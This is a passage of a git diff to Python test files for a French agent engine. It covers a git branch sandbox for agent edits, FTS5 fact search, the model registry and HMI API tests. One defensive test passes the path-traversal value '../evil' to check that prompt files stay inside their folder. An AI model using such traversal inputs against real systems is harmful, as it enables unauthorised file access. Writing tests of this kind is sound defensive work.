os.path.dirname(os.path.abspath(__file__)) if not is_git_repo(repo_path): logger.error(f"Le chemin {repo_path} n'est pas un dépôt Git. Impossible de tester le sandbox Git.") sys.exit(1) - + # Obtenir la branche actuelle pour pouvoir restaurer à la fin du test _, orig_branch_before_all, _ = _run_git(["rev-parse", "--abbrev-ref", "HEAD"], cwd=repo_path) logger.info(f"Branche d'origine initiale : {orig_branch_before_all}") - + # ---------------------------------------------------- # TEST 1: Succès de l'agent (Merge & Restauration stash) # ---------------------------------------------------- logger.info("\n--- TEST 1: Succès de l'agent (Merge et Restauration Stash) ---") - + session_id_1 = f"test_session_success_{int(time.time())}" user_file = os.path.join(repo_path, "temp_user_edit_test.txt") agent_file = os.path.join(repo_path, "temp_agent_edit_test.txt") - + # Nettoyage initial for f in [user_file, agent_file]: if os.path.exists(f): os.remove(f) - + # 1. Simuler une modification utilisateur non commitée with open(user_file, "w", encoding="utf-8") as f: f.write("Modification utilisateur importante") - + logger.info("Fichier utilisateur créé pour simuler des modifs en cours.") - + # 2. Préparer l'environnement (Stash modifs utilisateur + checkout branche éphémère) branch_name = git_prepare_agent_branch(session_id_1, repo_path=repo_path) logger.info(f"Branche éphémère créée : {branch_name}") - + # Assertions après préparation assert branch_name.startswith("agent/run_"), f"Nom de branche invalide : {branch_name}" _, current_branch, _ = _run_git(["rev-parse", "--abbrev-ref", "HEAD"], cwd=repo_path) assert current_branch == branch_name, f"On devrait être sur la branche éphémère {branch_name}, mais on est sur {current_branch}" assert not os.path.exists(user_file), "Le fichier utilisateur aurait dû être mis dans le stash Git et retiré du workspace" - + # 3. Simuler le travail de l'agent (écriture de code) with open(agent_file, "w", encoding="utf-8") as f: f.write("Modification apportée par l'agent V5") - + logger.info("Fichier de l'agent créé sur la branche éphémère.") - + # 4. Finaliser avec SUCCÈS (commit + merge + suppression branche + restauration stash) logger.info("Finalisation avec succès...") merge_res = git_finalize_agent_branch(branch_name, success=True, session_id=session_id_1, repo_path=repo_path) logger.info(f"Résultat finalisation : {merge_res}") - + # Assertions après finalisation avec succès _, final_branch, _ = _run_git(["rev-parse", "--abbrev-ref", "HEAD"], cwd=repo_path) assert final_branch == orig_branch_before_all, f"On devrait être revenus sur la branche {orig_branch_before_all}, mais on est sur {final_branch}" assert os.path.exists(agent_file), "Le fichier de l'agent devrait avoir été fusionné et être présent dans la branche principale" assert os.path.exists(user_file), "Le fichier utilisateur stashed aurait dû être restauré" - - with open(user_file, "r", encoding="utf-8") as f: + + with open(user_file, encoding="utf-8") as f: user_content = f.read() assert user_content == "Modification utilisateur importante", f"Contenu utilisateur altéré : {user_content}" - - with open(agent_file, "r", encoding="utf-8") as f: + + with open(agent_file, encoding="utf-8") as f: agent_content = f.read() assert agent_content == "Modification apportée par l'agent V5", f"Contenu de l'agent altéré : {agent_content}" - + # Nettoyage du fichier agent après merge réussi pour ne pas polluer git if os.path.exists(agent_file): os.remove(agent_file) # Commit du nettoyage pour garder la branche propre si nécessaire _run_git(["add", "temp_agent_edit_test.txt"], cwd=repo_path) _run_git(["commit", "-m", "Nettoyage fichier de test agent"], cwd=repo_path) - + logger.info("TEST 1 RÉUSSI AVEC SUCCÈS !") - + # ---------------------------------------------------- # TEST 2: Échec de l'agent (Rollback & Restauration stash) # ---------------------------------------------------- logger.info("\n--- TEST 2: Échec de l'agent (Rollback et Restauration Stash) ---") - + session_id_2 = f"test_session_fail_{int(time.time())}" - + # Le fichier utilisateur existe toujours grâce au pop du test 1. assert os.path.exists(user_file), "Le fichier utilisateur devrait être présent" - + # 1. Préparer l'environnement branch_name_fail = git_prepare_agent_branch(session_id_2, repo_path=repo_path) logger.info(f"Branche éphémère créée : {branch_name_fail}") - + # Assertions après préparation _, current_branch_fail, _ = _run_git(["rev-parse", "--abbrev-ref", "HEAD"], cwd=repo_path) assert current_branch_fail == branch_name_fail, f"Devrait être sur {branch_name_fail}" assert not os.path.exists(user_file), "Le fichier utilisateur devrait être stashed" - + # 2. Simuler le travail de l'agent (écriture de code erroné) with open(agent_file, "w", encoding="utf-8") as f: f.write("Modification erronée de l'agent") - + logger.info("Fichier de l'agent créé sur la branche éphémère.") - + # 3. Finaliser avec ÉCHEC (suppression de la branche + restauration stash) logger.info("Finalisation avec échec (Rollback)...") rollback_res = git_finalize_agent_branch(branch_name_fail, success=False, session_id=session_id_2, repo_path=repo_path) logger.info(f"Résultat finalisation rollback : {rollback_res}") - + # Assertions après échec _, final_branch_fail, _ = _run_git(["rev-parse", "--abbrev-ref", "HEAD"], cwd=repo_path) assert final_branch_fail == orig_branch_before_all, f"Devrait être revenus sur {orig_branch_before_all}" assert not os.path.exists(agent_file), "Le fichier écrit par l'agent n'aurait pas dû être fusionné ni exister dans l'arbre de travail final" assert os.path.exists(user_file), "Le fichier utilisateur stashed aurait dû être restauré après le rollback" - - with open(user_file, "r", encoding="utf-8") as f: + + with open(user_file, encoding="utf-8") as f: user_content_final = f.read() assert user_content_final == "Modification utilisateur importante", "Le fichier utilisateur doit rester intact" - + # Nettoyage final du fichier utilisateur temporaire if os.path.exists(user_file): os.remove(user_file) - + logger.info("TEST 2 RÉUSSI AVEC SUCCÈS !") logger.info("=== ALL GIT BRANCH SANDBOX TESTS PASSED ===") diff --git a/tests/test_mcp_path_traversal.py b/tests/test_mcp_path_traversal.py index dde4f9c..3c2d59f 100644 --- a/tests/test_mcp_path_traversal.py +++ b/tests/test_mcp_path_traversal.py @@ -9,10 +9,10 @@ NB : shim `tools` identique aux autres tests mcp_server (cf. test_delegate_to_gateway.py) pour forcer le package local face au paquet site-packages homonyme sous Windows. """ +import asyncio import os import sys import types -import asyncio import pytest diff --git a/tests/test_memory_db_v9.py b/tests/test_memory_db_v9.py index 87e4a14..6f8bc97 100644 --- a/tests/test_memory_db_v9.py +++ b/tests/test_memory_db_v9.py @@ -11,8 +11,10 @@ python -X utf8 -m pytest tests/test_memory_db_v9.py -v """ +import logging import os import sys + import pytest # Ajouter le dossier racine du moteur au PATH @@ -76,7 +78,7 @@ def test_fts5_virtual_table_and_triggers(self, temp_memory_db): commit_hash="a1b2c3d4", severity="major" ) - + # Vérifier directement dans la table virtuelle conn = temp_memory_db._get_conn() try: @@ -125,7 +127,7 @@ def test_graph_rag_linkage(self, temp_memory_db): # 2. Créer une entité dans le graphe temp_memory_db.upsert_graph_entity( - name="switch.m5stack_tab5_home_assistant_hmi_tab5_wake_word_active", + name="switch.example_wake_word", entity_type="HA_Entity", observations=["Vrai commutateur du wake word Tab5 V2"] ) @@ -133,13 +135,13 @@ def test_graph_rag_linkage(self, temp_memory_db): # 3. Créer la liaison ok = temp_memory_db.link_fact_to_entity( fact_id=fact_id, - entity_name="switch.m5stack_tab5_home_assistant_hmi_tab5_wake_word_active" + entity_name="switch.example_wake_word" ) assert ok is True # 4. Rechercher les faits connectés à l'entité facts = temp_memory_db.get_connected_facts_for_entity( - entity_name="switch.m5stack_tab5_home_assistant_hmi_tab5_wake_word_active" + entity_name="switch.example_wake_word" ) assert len(facts) == 1 assert facts[0]["id"] == fact_id @@ -148,7 +150,7 @@ def test_graph_rag_linkage(self, temp_memory_db): # 5. Rechercher les entités connectées au fait entities = temp_memory_db.get_connected_entities_for_fact(fact_id=fact_id) assert len(entities) == 1 - assert entities[0]["name"] == "switch.m5stack_tab5_home_assistant_hmi_tab5_wake_word_active" + assert entities[0]["name"] == "switch.example_wake_word" @pytest.mark.asyncio async def test_async_graph_rag_linkage(self, temp_memory_db): @@ -184,6 +186,119 @@ async def test_async_graph_rag_linkage(self, temp_memory_db): assert facts[0]["title"] == "Audio DAC ES8388 Async" +class TestSearchFactsFrancais: + """[#T283] La recherche FTS5 ne casse plus sur les questions en français.""" + + def test_question_francaise_exacte_rend_le_fait(self, temp_memory_db): + """Test central : la question exacte du ticket rend au moins un fait (0 avant).""" + temp_memory_db.upsert_fact( + category="ecosysteme", + title="Statut de l'ecosysteme domotique", + content="L'ecosysteme domotique est operationnel : 12 entites actives, MQTT connecte.", + tags="domotique,statut,mqtt", + ) + temp_memory_db.upsert_fact( + category="autre", + title="Fact non pertinent", + content="Recette du pain perdu avec de la cannelle.", + tags="cuisine", + ) + results = temp_memory_db.search_facts("Quel est le statut de l'ecosysteme domotique ?") + assert len(results) >= 1 + assert results[0]["title"] == "Statut de l'ecosysteme domotique" + + def test_question_avec_chemin_de_fichier(self, temp_memory_db): + """Une question contenant un chemin de fichier ne lève plus d'erreur FTS5.""" + temp_memory_db.upsert_fact( + category="architecture", + title="Resilience du LLM gateway", + content="La resilience est geree dans core/llm_gateway.py via un retry avec backoff.", + tags="resilience,llm_gateway", + ) + results = temp_memory_db.search_facts( + "Comment est geree la resilience dans core/llm_gateway.py ?" + ) + assert len(results) >= 1 + assert results[0]["title"] == "Resilience du LLM gateway" + + def test_accents_et_majuscules(self, temp_memory_db): + """Le tokenizer unicode61 de la base normalise casse et diacritiques.""" + temp_memory_db.upsert_fact( + category="architecture", + title="Résilience du gateway", + content="Le mécanisme de résilience est documenté.", + tags="resilience", + ) + # Requête sans accent : matche le fait accentué (remove_diacritics=1 par défaut) + assert len(temp_memory_db.search_facts("resilience")) == 1 + # Requête accentuée avec majuscule : même token normalisé côté requête + assert len(temp_memory_db.search_facts("Résilience")) == 1 + + def test_requete_vide_ou_stopwords_seuls(self, temp_memory_db): + """Requête vide ou composée uniquement de stopwords : liste vide, sans exception.""" + temp_memory_db.upsert_fact( + category="c", title="Un fait quelconque", content="contenu", tags="t" + ) + assert temp_memory_db.search_facts("") == [] + assert temp_memory_db.search_facts(" ") == [] + assert temp_memory_db.search_facts("quel est le de la ?") == [] + assert temp_memory_db.search_facts_weighted("et ou mais dont") == [] + + def test_non_regression_mot_unique(self, temp_memory_db): + """Un seul mot simple rend le même résultat qu'avant le fix.""" + temp_memory_db.upsert_fact( + category="esphome", + title="Deadlock SQLite WAL", + content="Utiliser RLock au lieu de Lock simple pour éviter les réentrances.", + tags="asyncio,concurrency", + ) + results = temp_memory_db.search_facts("Deadlock") + assert len(results) == 1 + assert results[0]["title"] == "Deadlock SQLite WAL" + + def test_search_facts_weighted_question_francaise(self, temp_memory_db): + """search_facts_weighted rend aussi des faits pour une question française.""" + temp_memory_db.upsert_fact( + category="ecosysteme", + title="Statut de l'ecosysteme domotique", + content="L'ecosysteme domotique est operationnel.", + tags="domotique,statut", + ) + results = temp_memory_db.search_facts_weighted( + "Quel est le statut de l'ecosysteme domotique ?" + ) + assert len(results) >= 1 + assert results[0]["title"] == "Statut de l'ecosysteme domotique" + + def test_repli_like_sans_fts5_journalise_un_warning(self, temp_memory_db, caplog): + """Sans table FTS5, le repli LIKE rend des faits et journalise la requête fautive.""" + temp_memory_db.upsert_fact( + category="ecosysteme", + title="Statut de l'ecosysteme domotique", + content="L'ecosysteme domotique est operationnel.", + tags="domotique,statut", + ) + # Simule une base sans FTS5 (table virtuelle absente) sur la base temporaire + conn = temp_memory_db._get_conn() + try: + conn.execute("DROP TABLE fts_facts") + conn.commit() + finally: + conn.close() + with caplog.at_level(logging.WARNING, logger="memory.facts"): + results = temp_memory_db.search_facts( + "Quel est le statut de l'ecosysteme domotique ?" + ) + # Cascade visible : weighted -> search_facts -> LIKE + results_w = temp_memory_db.search_facts_weighted( + "Quel est le statut de l'ecosysteme domotique ?" + ) + assert len(results) >= 1 + assert len(results_w) >= 1 + assert any("falling back to LIKE" in r.getMessage() for r in caplog.records) + assert any("falling back to search_facts" in r.getMessage() for r in caplog.records) + + class TestGraphGCOrdering: """[P2-3.2] Le GC du graphe doit préserver l'ordre chronologique des observations.""" diff --git a/tests/test_models_db.py b/tests/test_models_db.py index 50d2bf5..3f0a0d7 100644 --- a/tests/test_models_db.py +++ b/tests/test_models_db.py @@ -19,7 +19,7 @@ class TestModelsDB: def test_import(self): """Le module s'importe sans erreur.""" - from core.models_db import get_model, get_active_models, get_routing_score + from core.models_db import get_active_models, get_model, get_routing_score assert callable(get_model) assert callable(get_active_models) assert callable(get_routing_score) @@ -73,10 +73,39 @@ def test_get_active_models_by_provider(self): assert m["provider_id"] == "local" def test_get_models_for_tier(self): - """Récupération par tier retourne des modèles triés.""" + """Récupération par routing_tier (capacité leger/moyen/fort) retourne des modèles triés.""" from core.models_db import get_models_for_tier - free_models = get_models_for_tier("free") - assert len(free_models) >= 3, f"Attendu >= 3 modèles free, reçu {len(free_models)}" + fort_models = get_models_for_tier("fort") + assert len(fort_models) >= 3, f"Attendu >= 3 modèles fort, reçu {len(fort_models)}" + for m in fort_models: + assert m["routing_tier"] == "fort" + + def test_get_models_for_tier_automatique_no_filter(self): + """routing_tier='automatique' ne filtre pas : retourne tous les modèles actifs.""" + from core.models_db import get_active_models, get_models_for_tier + assert len(get_models_for_tier("automatique")) == len(get_active_models()) + + def test_status_inactive_gates_routing_tier(self): + """Un modèle status='inactive' disparaît de get_models_for_tier() sans toucher au code.""" + from core.models_db import _get_connection, get_models_for_tier + + test_id = "test_fixture_inactive_gate_model" + conn = _get_connection() + try: + conn.execute( + """INSERT INTO models (id, provider_id, display_name, status, routing_tier) + VALUES (?, 'local', 'Fixture Test Model', 'active', 'fort')""", + (test_id,), + ) + conn.commit() + assert test_id in {m["id"] for m in get_models_for_tier("fort")} + + conn.execute("UPDATE models SET status = 'inactive' WHERE id = ?", (test_id,)) + conn.commit() + assert test_id not in {m["id"] for m in get_models_for_tier("fort")} + finally: + conn.execute("DELETE FROM models WHERE id = ?", (test_id,)) + conn.commit() def test_get_model_cost(self): """Les tarifs sont correctement stockés.""" @@ -165,7 +194,7 @@ def test_get_all_data(self): def test_upsert_model_idempotent(self): """L'upsert d'un modèle existant ne crée pas de doublon.""" - from core.models_db import upsert_model, get_model, get_db_stats + from core.models_db import get_db_stats, get_model, upsert_model stats_before = get_db_stats() # upsert_model fait un INSERT OR REPLACE sur TOUTES les colonnes — tout champ non diff --git a/tests/test_phase3_hmi.py b/tests/test_phase3_hmi.py new file mode 100644 index 0000000..ae410dd --- /dev/null +++ b/tests/test_phase3_hmi.py @@ -0,0 +1,306 @@ +""" +Tests Phase 3 HMI — contrats backend réels pour l'IHM v2. + +Couvre : +- #T188 : core/prompt_loader.py (chargement Markdown, repli, sauvegarde, cache mtime) +- #T194 : apply_workload_override + champs tier/model d'ExecuteRequestBody +- #T159 : CRUD /api/agents (config.json isolé dans un fichier temporaire) +- #T158 : GET /api/models/registry (enrichissement + ordre des routes), + toggle et routing-tier (UPDATE ciblés en base) +- #T192 : POST /api/prompt/engineer (validation, sans appel LLM réel) +""" + +import json +import os +import sys + +import pytest + +sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +from fastapi.testclient import TestClient + + +@pytest.fixture(scope="module") +def client(): + from gui_server import app + auth = {"Authorization": f"Bearer {os.environ.get('MOTEUR_API_KEY', '')}"} + with TestClient(app, headers=auth) as c: + yield c + + +# ────────────────────────────────────────────────────────────────── +# #T188 — prompt_loader +# ────────────────────────────────────────────────────────────────── + +class TestPromptLoader: + def test_fallback_si_fichier_absent(self, tmp_path, monkeypatch): + monkeypatch.setenv("MOTEUR_PROMPTS_DIR", str(tmp_path)) + from core.prompt_loader import load_agent_prompt + assert load_agent_prompt("agent_inconnu", "DEFAUT") == "DEFAUT" + + def test_sauvegarde_puis_chargement(self, tmp_path, monkeypatch): + monkeypatch.setenv("MOTEUR_PROMPTS_DIR", str(tmp_path)) + from core.prompt_loader import has_external_prompt, load_agent_prompt, save_agent_prompt + + path = save_agent_prompt("mon_agent", "Contenu du prompt de test.") + assert os.path.exists(path) + assert has_external_prompt("mon_agent") + assert load_agent_prompt("mon_agent", "DEFAUT") == "Contenu du prompt de test." + + def test_fichier_vide_retombe_sur_defaut(self, tmp_path, monkeypatch): + monkeypatch.setenv("MOTEUR_PROMPTS_DIR", str(tmp_path)) + from core.prompt_loader import load_agent_prompt + (tmp_path / "vide.md").write_text("", encoding="utf-8") + assert load_agent_prompt("vide", "DEFAUT") == "DEFAUT" + + def test_nom_agent_sans_traversee_de_chemin(self, tmp_path, monkeypatch): + monkeypatch.setenv("MOTEUR_PROMPTS_DIR", str(tmp_path)) + from core.prompt_loader import prompt_file_path + # Les caractères de traversée sont retirés : le fichier reste dans le dossier. + assert os.path.dirname(prompt_file_path("../evil")) == str(tmp_path) + + +# ────────────────────────────────────────────────────────────────── +# #T194 — override de force de workload +# ────────────────────────────────────────────────────────────────── + +class TestWorkloadOverride: + def test_tier_valide_surcharge_executor_et_ha(self): + from services.pipeline_service import apply_workload_override + config = {"executor_model": "gemini-3.5-flash-free", "ha_model": "moyen", "planner_model": "fort"} + out = apply_workload_override(config, tier="fort") + assert out["executor_model"] == "fort" + assert out["ha_model"] == "fort" + # Le planner n'est pas touché, la config d'origine non plus (copie). + assert out["planner_model"] == "fort" + assert config["executor_model"] == "gemini-3.5-flash-free" + + def test_model_prioritaire_sur_tier(self): + from services.pipeline_service import apply_workload_override + out = apply_workload_override({"executor_model": "a", "ha_model": "b"}, tier="leger", model="deepseek-chat") + assert out["executor_model"] == "deepseek-chat" + assert out["ha_model"] == "deepseek-chat" + + def test_tier_invalide_ou_absent_ne_change_rien(self): + from services.pipeline_service import apply_workload_override + config = {"executor_model": "a", "ha_model": "b"} + assert apply_workload_override(config, tier="turbo") == config + assert apply_workload_override(config) == config + + def test_body_execute_accepte_tier_et_model(self): + from api.routes.agents import ExecuteRequestBody + body = ExecuteRequestBody(user_prompt="test", tier="fort", model="deepseek-chat") + assert body.tier == "fort" + assert body.model == "deepseek-chat" + # Rétrocompatibilité : champs optionnels. + assert ExecuteRequestBody(user_prompt="test").tier is None + + +# ────────────────────────────────────────────────────────────────── +# #T159 — CRUD /api/agents (config.json isolé) +# ────────────────────────────────────────────────────────────────── + +@pytest.fixture +def isolated_config(tmp_path, monkeypatch): + """Copie minimale de config.json dans un fichier temporaire, injectée dans le CRUD.""" + import api.routes.agents_crud as crud + + config = { + "planner_model": "gemini-3.5-flash-free", + "executor_model": "gemini-3.5-flash-free", + "antigravity_model": "fort", + "ha_model": "moyen", + "persistent_agents": { + "daemon_model": "leger", + "daemon_enabled": False, + "daemon_interval_minutes": 30, + "dreamer_model": "moyen", + "dreamer_enabled": True, + }, + } + cfg_file = tmp_path / "config.json" + cfg_file.write_text(json.dumps(config, indent=2), encoding="utf-8") + monkeypatch.setattr(crud, "CONFIG_FILE", str(cfg_file)) + return cfg_file + + +class TestAgentsCrud: + def test_liste_contient_coeur_et_persistants(self, client, isolated_config): + res = client.get("/api/agents") + assert res.status_code == 200 + agents = {a["name"]: a for a in res.json()["agents"]} + for core_name in ("planner", "executor", "reviewer", "ha_agent", "prompt_engineer", "tool_maker"): + assert core_name in agents, f"{core_name} absent de la liste" + assert agents[core_name]["kind"] == "core" + assert agents[core_name]["can_disable"] is False + assert agents["daemon"]["kind"] == "persistent" + assert agents["daemon"]["interval_minutes"] == 30 + assert agents["dreamer"]["enabled"] is True + # Le prompt du reviewer vient du Markdown #T188 (ou du défaut code) : non vide. + assert agents["reviewer"]["prompt_editable"] is True + + def test_put_model_agent_coeur_ecrit_config(self, client, isolated_config): + res = client.put("/api/agents/planner", json={"model": "fort"}) + assert res.status_code == 200 + assert res.json()["model"] == "fort" + saved = json.loads(isolated_config.read_text(encoding="utf-8")) + assert saved["planner_model"] == "fort" + + def test_toggle_agent_coeur_refuse(self, client, isolated_config): + res = client.post("/api/agents/executor/toggle") + assert res.status_code == 422 + + def test_toggle_persistant_bascule_config(self, client, isolated_config): + res = client.post("/api/agents/daemon/toggle") + assert res.status_code == 200 + assert res.json()["enabled"] is True + saved = json.loads(isolated_config.read_text(encoding="utf-8")) + assert saved["persistent_agents"]["daemon_enabled"] is True + + def test_cycle_de_vie_agent_custom(self, client, isolated_config): + # Création + res = client.post("/api/agents", json={ + "name": "agent_test_phase3", "label": "Agent de test", "tier": "leger", + "system_prompt": "Tu es un agent de test.", + }) + assert res.status_code == 200 + assert res.json()["kind"] == "custom" + + # Doublon refusé + assert client.post("/api/agents", json={"name": "agent_test_phase3", "tier": "leger"}).status_code == 409 + + # Présent dans la liste + réellement chargeable par le moteur + agents = {a["name"] for a in client.get("/api/agents").json()["agents"]} + assert "agent_test_phase3" in agents + from core.custom_agents import load_custom_agent_entries + saved = json.loads(isolated_config.read_text(encoding="utf-8")) + assert any(e["name"] == "agent_test_phase3" for e in load_custom_agent_entries(saved, only_enabled=True)) + + # Patch + toggle + assert client.put("/api/agents/agent_test_phase3", json={"tier": "fort"}).json()["model"] == "fort" + assert client.post("/api/agents/agent_test_phase3/toggle").json()["enabled"] is False + + # Suppression + assert client.delete("/api/agents/agent_test_phase3").status_code == 200 + agents = {a["name"] for a in client.get("/api/agents").json()["agents"]} + assert "agent_test_phase3" not in agents + + def test_creation_nom_reserve_ou_invalide(self, client, isolated_config): + assert client.post("/api/agents", json={"name": "planner", "tier": "leger"}).status_code == 409 + assert client.post("/api/agents", json={"name": "Pas Valide!", "tier": "leger"}).status_code == 422 + + def test_put_prompt_agent_coeur_ecrit_markdown(self, client, isolated_config, tmp_path, monkeypatch): + monkeypatch.setenv("MOTEUR_PROMPTS_DIR", str(tmp_path / "prompts")) + res = client.put("/api/agents/reviewer", json={"system_prompt": "Prompt reviewer de test."}) + assert res.status_code == 200 + md = tmp_path / "prompts" / "reviewer.md" + assert md.exists() + assert "Prompt reviewer de test." in md.read_text(encoding="utf-8") + + def test_put_prompt_agent_non_editable_refuse(self, client, isolated_config): + res = client.put("/api/agents/executor", json={"system_prompt": "x"}) + assert res.status_code == 422 + + +# ────────────────────────────────────────────────────────────────── +# #T158 — registre modèles enrichi + toggle/routing-tier +# ────────────────────────────────────────────────────────────────── + +TEST_MODEL_ID = "test-phase3-model" + + +@pytest.fixture +def temp_model(): + """Insère un modèle jetable dans models_registry.db, le supprime après.""" + from core.models_db import _get_connection, _write_transaction, upsert_model + + conn = _get_connection() + provider_row = conn.execute("SELECT id FROM providers LIMIT 1").fetchone() + if provider_row is None: + pytest.skip("models_registry.db sans provider (seed absent)") + provider_id = provider_row[0] + + assert upsert_model(TEST_MODEL_ID, provider_id=provider_id, display_name="Modèle test Phase 3", + status="active", tier="free") + yield TEST_MODEL_ID + with _write_transaction() as conn: + conn.execute("DELETE FROM models WHERE id = ?", (TEST_MODEL_ID,)) + + +class TestModelsRegistry: + def test_registry_route_avant_route_dynamique(self, client): + # Si l'ordre des routes était mauvais, "registry" serait pris pour un + # model_id par /api/models/{model_id} → 404. + res = client.get("/api/models/registry") + assert res.status_code == 200 + body = res.json() + assert "models" in body and isinstance(body["models"], list) + + def test_champs_enrichis_presents(self, client): + models = client.get("/api/models/registry").json()["models"] + if not models: + pytest.skip("Catalogue vide (seed absent)") + sample = models[0] + for field in ("elo_score", "avg_latency_ms", "cost_per_success", + "circuit_breaker_status", "is_wired", "routing_tier", + "cost_usd_30d", "calls_30d"): + assert field in sample, f"champ '{field}' absent du registre" + + def test_registry_inclut_les_inactifs(self, client, temp_model): + from core.models_db import set_model_status + assert set_model_status(temp_model, "inactive") + ids = {m["id"] for m in client.get("/api/models/registry").json()["models"]} + assert temp_model in ids, "un modèle inactif doit rester visible (toggle réversible)" + + def test_toggle_bascule_le_statut(self, client, temp_model): + res = client.post(f"/api/models/{temp_model}/toggle") + assert res.status_code == 200 + assert res.json()["enabled"] is False + res = client.post(f"/api/models/{temp_model}/toggle") + assert res.json()["enabled"] is True + + def test_toggle_modele_inconnu_404(self, client): + assert client.post("/api/models/nexiste-pas-du-tout/toggle").status_code == 404 + + def test_routing_tier_update_cible(self, client, temp_model): + from core.models_db import get_model + res = client.post(f"/api/models/{temp_model}/routing-tier", json={"routing_tier": "leger"}) + assert res.status_code == 200 + model = get_model(temp_model) + assert model["routing_tier"] == "leger" + # L'UPDATE ciblé ne touche pas les autres champs. + assert model["display_name"] == "Modèle test Phase 3" + # Valeur invalide refusée. + assert client.post(f"/api/models/{temp_model}/routing-tier", + json={"routing_tier": "turbo"}).status_code == 422 + + def test_update_model_merge_patch_preserve_routing_tier(self, client, temp_model): + """Bug corrigé : POST /api/models/update effaçait routing_tier à chaque édition.""" + from core.models_db import get_model, set_model_routing_tier + set_model_routing_tier(temp_model, "fort") + model = get_model(temp_model) + res = client.post("/api/models/update", json={ + "id": temp_model, "provider_id": model["provider_id"], "notes": "note de test", + }) + assert res.status_code == 200 + after = get_model(temp_model) + assert after["routing_tier"] == "fort", "routing_tier perdu par l'édition partielle" + assert after["notes"] == "note de test" + + +# ────────────────────────────────────────────────────────────────── +# #T192 — PromptEngineer branché (validation sans appel LLM) +# ────────────────────────────────────────────────────────────────── + +class TestPromptTools: + def test_prompt_vide_refuse(self, client): + assert client.post("/api/prompt/engineer", json={"prompt": ""}).status_code == 422 + assert client.post("/api/prompt/engineer", json={}).status_code == 422 + + def test_agent_importable_et_plus_code_mort(self): + # #T192 : l'agent est désormais importé par api/routes/prompt_tools.py. + import inspect + + import api.routes.prompt_tools as pt + assert "PromptEngineerAgent" in inspect.getsource(pt) diff --git a/tests/test_rag_improvements.py b/tests/test_rag_improvements.py index 956462e..c755c98 100644 --- a/tests/test_rag_improvements.py +++ b/tests/test_rag_improvements.py @@ -9,10 +9,10 @@ """ import os +import shutil import sys -import unittest import tempfile -import shutil +import unittest # Ajouter le dossier parent au path sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) @@ -23,16 +23,18 @@ class TestRAGCategoryFiltering(unittest.TestCase): def test_rag_query_signature_accepts_categories(self): """Vérifie que query() accepte le paramètre allowed_categories.""" - from memory.rag import RAGEngine import inspect + + from memory.rag import RAGEngine sig = inspect.signature(RAGEngine.query) self.assertIn("allowed_categories", sig.parameters, "Le paramètre 'allowed_categories' manque dans query()") - + def test_rag_query_default_none(self): """Vérifie que allowed_categories a une valeur par défaut None.""" - from memory.rag import RAGEngine import inspect + + from memory.rag import RAGEngine sig = inspect.signature(RAGEngine.query) param = sig.parameters["allowed_categories"] self.assertIsNone(param.default, @@ -56,7 +58,7 @@ def test_rag_query_without_filter(self): rag._memory_db = None # Attribut requis pour le fallback vectoriel rag._embed_fn = None # Attribut requis pour le fallback vectoriel rag.max_cache_size = 100 # Taille max du cache LRU - + # Appel sans filtre — doit retourner quelque chose (pas d'erreur) result = rag.query("test", top_n=2, allowed_categories=None) # Le résultat peut être vide ou non selon les scores, mais pas d'exception @@ -70,35 +72,35 @@ def test_chunk_contextual_prefix(self): """Vérifie que _chunk_markdown() ajoute le préfixe contextuel.""" from memory.embeddings import EmbeddingStore store = EmbeddingStore.__new__(EmbeddingStore) - + content = "# Mon Titre\n\nCeci est un contenu de test suffisamment long pour passer le seuil de 20 caractères et être retenu comme chunk valide." filepath = os.path.join("e:", "AuxFilsDesIdees", "contexte_ia", "02_Hardware", "rules_esphome.md") - + sections = store._chunk_markdown(content, filepath) - + # Vérifier qu'au moins une section existe self.assertTrue(len(sections) > 0, "Aucune section extraite du Markdown") - + # Vérifier le préfixe contextuel for sec in sections: self.assertIn("[Source:", sec["content"], f"Le préfixe [Source:] est absent du chunk : {sec['content'][:100]}") self.assertIn("[Section:", sec["content"], - f"Le préfixe [Section:] est absent du chunk") + "Le préfixe [Section:] est absent du chunk") self.assertIn("---", sec["content"], "Le séparateur --- est absent du chunk") - + def test_chunk_respects_size_limit(self): """Vérifie que le contenu enrichi ne dépasse pas ~2000 caractères.""" from memory.embeddings import EmbeddingStore store = EmbeddingStore.__new__(EmbeddingStore) - + # Créer un contenu très long long_content = "# Titre Long\n\n" + "A" * 5000 filepath = os.path.join("e:", "contexte_ia", "01_Core", "test.md") - + sections = store._chunk_markdown(long_content, filepath) - + for sec in sections: # Le préfixe (~80 chars) + 1900 chars de contenu ≈ 2000 self.assertLess(len(sec["content"]), 2100, @@ -113,7 +115,7 @@ def setUp(self): from memory.memory_db import MemoryDB self.test_dir = tempfile.mkdtemp() self.test_db_path = os.path.join(self.test_dir, "test_memory.db") - + # Créer une instance indépendante (contourner le singleton) self.db = MemoryDB.__new__(MemoryDB) self.db._db_path = self.test_db_path @@ -200,16 +202,16 @@ def test_sync_filters_low_quality(self): {"title": "Fait de basse qualité", "content": "Typo CSS", "quality_score": 0.2}, {"title": "Fait ancien sans score", "content": "Ancien", "quality_score": None}, ] - + # Filtrer comme le fait sync_db_to_markdown filtered = [ f for f in mock_facts if f.get("quality_score") is None or f.get("quality_score", 0.0) >= 0.5 ] - + self.assertEqual(len(filtered), 2, "Le filtrage doit garder 2 faits : qualité >= 0.5 et None") - + titles = [f["title"] for f in filtered] self.assertIn("Fait de qualité", titles) self.assertIn("Fait ancien sans score", titles) @@ -247,29 +249,29 @@ def test_run_and_report_returns_markdown(self): def test_context_self_healer_detects_missing_file(self): """Vérifie que le self-healer détecte un fichier Python manquant référencé dans un doc.""" from tools.context_self_healing import ContextSelfHealer - + healer = ContextSelfHealer() - + # Créer un faux fichier Markdown temporaire avec une référence à un fichier inexistant test_dir = tempfile.mkdtemp() try: fake_doc = os.path.join(test_dir, "test_doc.md") with open(fake_doc, 'w', encoding='utf-8') as f: f.write("Voir le fichier `core/inexistant_module.py` pour plus de détails.\n") - + # Injecter le chemin temporaire dans le healer original_path = healer.CONTEXTE_IA_PATH healer.CONTEXTE_IA_PATH = test_dir - + # Créer le sous-dossier attendu os.makedirs(os.path.join(test_dir, "03_Software"), exist_ok=True) shutil.copy(fake_doc, os.path.join(test_dir, "03_Software", "05_MOTEUR_AGENTS_PYTHON.md")) - + diagnostics = healer.validate_all() - + # Restaurer healer.CONTEXTE_IA_PATH = original_path - + # Chercher un diagnostic de type missing_python_file missing_diags = [d for d in diagnostics if d["type"] == "missing_python_file"] self.assertTrue( @@ -289,6 +291,7 @@ def test_bm25_optimise_equivaut_au_calcul_naif(): """[P2-3.5] Le 